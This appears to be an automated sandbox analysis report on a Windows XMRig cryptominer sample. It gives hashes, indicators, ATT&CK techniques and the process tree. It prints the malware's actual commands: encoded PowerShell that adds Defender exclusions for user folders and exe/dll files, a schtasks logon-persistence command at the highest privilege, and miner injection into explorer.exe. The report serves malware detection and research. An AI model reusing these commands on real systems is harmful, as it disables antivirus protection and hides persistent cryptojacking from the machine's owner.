Analysis
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max time kernel
141s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22-12-2024 05:31
Static task
static1
Behavioral task
behavioral1
Sample
JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe
Resource
win10v2004-20241007-en
General
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Target
JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe
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Size
4.0MB
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MD5
5a805a1885c997f1c16dc1139647a2fa
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SHA1
b9ae32525966e3b0afbaf04b126ed61bb848578d
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SHA256
3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576
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SHA512
5e72ce42323c17617ffc9cfa0e23a42aa27bdbc873d32bebffc854c987281e6422a622ca8b2b3458ebbe40580a2056925bc121afb2a107d2cf7bd54f9bbc8115
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SSDEEP
98304:/0pw2ok7N2KgY9s8roDXYqK7kPhqsBfz6rDb9ciFSUjWNz:/ww21gCrmYqzk66iiFpjWN
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 7 IoCs
resource yara_rule behavioral2/memory/2772-79-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral2/memory/2772-81-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral2/memory/2772-83-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral2/memory/2772-87-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral2/memory/2772-86-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral2/memory/2772-84-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral2/memory/2772-85-0x0000000140000000-0x0000000140787000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation services.exe -
Executes dropped EXE 2 IoCs
pid Process 876 services.exe 1140 sihost64.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 15 pastebin.com 17 pastebin.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 876 set thread context of 2772 876 services.exe 107 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 396 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 516 powershell.exe 516 powershell.exe 1156 powershell.exe 1156 powershell.exe 2124 JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe 1244 powershell.exe 1244 powershell.exe 948 powershell.exe 948 powershell.exe 876 services.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe 2772 explorer.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 516 powershell.exe Token: SeDebugPrivilege 1156 powershell.exe Token: SeDebugPrivilege 2124 JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe Token: SeDebugPrivilege 1244 powershell.exe Token: SeDebugPrivilege 948 powershell.exe Token: SeDebugPrivilege 876 services.exe Token: SeLockMemoryPrivilege 2772 explorer.exe Token: SeLockMemoryPrivilege 2772 explorer.exe -
Suspicious use of WriteProcessMemory 37 IoCs
description pid Process procid_target PID 2124 wrote to memory of 1644 2124 JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe 83 PID 2124 wrote to memory of 1644 2124 JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe 83 PID 1644 wrote to memory of 516 1644 cmd.exe 85 PID 1644 wrote to memory of 516 1644 cmd.exe 85 PID 1644 wrote to memory of 1156 1644 cmd.exe 86 PID 1644 wrote to memory of 1156 1644 cmd.exe 86 PID 2124 wrote to memory of 4252 2124 JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe 88 PID 2124 wrote to memory of 4252 2124 JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe 88 PID 4252 wrote to memory of 396 4252 cmd.exe 90 PID 4252 wrote to memory of 396 4252 cmd.exe 90 PID 2124 wrote to memory of 3088 2124 JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe 99 PID 2124 wrote to memory of 3088 2124 JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe 99 PID 3088 wrote to memory of 876 3088 cmd.exe 101 PID 3088 wrote to memory of 876 3088 cmd.exe 101 PID 876 wrote to memory of 3704 876 services.exe 102 PID 876 wrote to memory of 3704 876 services.exe 102 PID 3704 wrote to memory of 1244 3704 cmd.exe 104 PID 3704 wrote to memory of 1244 3704 cmd.exe 104 PID 3704 wrote to memory of 948 3704 cmd.exe 105 PID 3704 wrote to memory of 948 3704 cmd.exe 105 PID 876 wrote to memory of 1140 876 services.exe 106 PID 876 wrote to memory of 1140 876 services.exe 106 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 PID 876 wrote to memory of 2772 876 services.exe 107 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\SYSTEM32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit2⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:516
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1156
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:396
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C:\Windows\SYSTEM32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3088 -
C:\Users\Admin\AppData\Roaming\Microsoft\services.exeC:\Users\Admin\AppData\Roaming\Microsoft\services.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\system32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit4⤵
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1244
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:948
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C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"4⤵
- Executes dropped EXE
PID:1140
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C:\Windows\explorer.exeC:\Windows\explorer.exe hjmtepjezjqro0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRhyomsEanimzL+XPt/OnL5zkmhp4OKKV4oWMsUGWdwsoJudug7VIc6ebqddtMoL+8IBSLOtVFEJNctzsbAFCv5LFA0+pkqqr1nCx8fTFBuMw+OLiwo/SsR3rjZo+bft8oJOnArJgxMPdtfn3m4ICAAM3e2n70xyYsrZgv/mIjZ2s9MaWAVhE4vx5zxn4+fM4NxwQhCGRkaMVzSVPxkc4W4VUXCpA4yUlvFPRJn8S+yy9iUUpnGCywwE6cDcLt5DZIDXewj+xO4xE/aANwcdtidmwr0//85B+3VNT5iZiIC3FLzQE/vsUkNT9YQYUOQPjfBnjL7vzm5Q1ckI01V+0GBIlv+bX5ygP0xmeV9VgfPl4NZiC/LoM58JakN7IxZR/9DzCU+xTFYW50R3bR0l6IO+xdIhsG4X3v9YDNU15Qyzwt23IvvYW3sPOlKmWRLgwD96cvd5iEhR2cumm/yVjL+ep0ofcLS7oFfXR0ilf2PbHlOBAOD/Og2BO6+8Hub5pmAa4t7ZIn5+0N2NOskC6yM8a6D7Dm0+0piBWt4f1GEFQeaPWL5WT2tK8p6lkP4xuY=4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2772
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
944B
MD547605a4dda32c9dff09a9ca441417339
SHA14f68c895c35b0dc36257fc8251e70b968c560b62
SHA256e6254c2bc9846a76a4567ab91b6eae76e937307ff9301b65d577ffe6e15fe40a
SHA512b6823b6e794a2fe3e4c4ecfb3f0d61a54821de7feb4f9e3e7fd463e7fbb5e6848f59865b487dafebeac431e4f4db81ef56836d94cac67da39852c566ed34a885
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Filesize
944B
MD50934b342f43434a61f70d024e24da657
SHA13b0271551775db835fe890e4c8ee33dbf865dd25
SHA25667d7131d1a0ced6b906f2578bb0593629d6aaaedb4b843dc51912d3a35f79da2
SHA512b2881bcf88ab4083e3983609acd6567c793f4669ceced7b0ba5a2c0725adf63aaba0816a504797a246f375d87139816ee819535697912977c0df5045fa7d1853
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
9KB
MD50d8117d686e091d17e3ec9bf8c0f26d9
SHA18265e07f64177c4b647378df8b17f22784cbcc6c
SHA256cd540b5a0e6291b1eef4621cb25abb409693160bb1397438f6d02d7e2966a3fe
SHA5127cf2472a9ecd52445c5e8eca896dea062d9b960f341caede31d479883040efee34602765e89557228336f09dfb4d2c1c44b1b2c1759436dc4fec3749a514ec71
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Filesize
4.0MB
MD55a805a1885c997f1c16dc1139647a2fa
SHA1b9ae32525966e3b0afbaf04b126ed61bb848578d
SHA2563827317e20eedc457ed42abdbdaa802553c5ec7d915afc0e1935c2e04763f576
SHA5125e72ce42323c17617ffc9cfa0e23a42aa27bdbc873d32bebffc854c987281e6422a622ca8b2b3458ebbe40580a2056925bc121afb2a107d2cf7bd54f9bbc8115